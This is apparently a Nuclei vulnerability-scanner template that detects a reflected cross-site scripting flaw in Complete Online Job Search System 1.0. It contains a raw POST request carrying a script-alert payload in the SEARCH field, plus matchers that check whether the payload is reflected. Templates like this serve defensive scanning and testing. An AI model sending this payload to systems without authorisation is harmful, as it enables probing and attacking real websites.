id: eris-xss

info:
  name: Complete Online Job Search System 1.0 - Cross-Site Scripting
  author: arafatansari
  severity: high
  description: |
    Complete Online Job Search System 1.0 contains a cross-site scripting vulnerability via index.php?q=advancesearch.
  reference:
    - https://github.com/debug601/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-9.md
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2022,xss,eris,sqli

http:
  - raw:
      - |
        POST /index.php?q=result&searchfor=advancesearch HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        SEARCH=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&COMPANY=&CATEGORY=&submit=Submit

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Result : <script>alert(document.domain)</script>'
          - 'ERIS'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b80ce45561377f428182b10620459eaec330de78d74f2de8066cfcc1e2853d4902204e29ff6dfdf8d779af2f9ed31886cf5f572f350388268e216a00ae49b724dc81:922c64590222798bb761d5b6d8e72950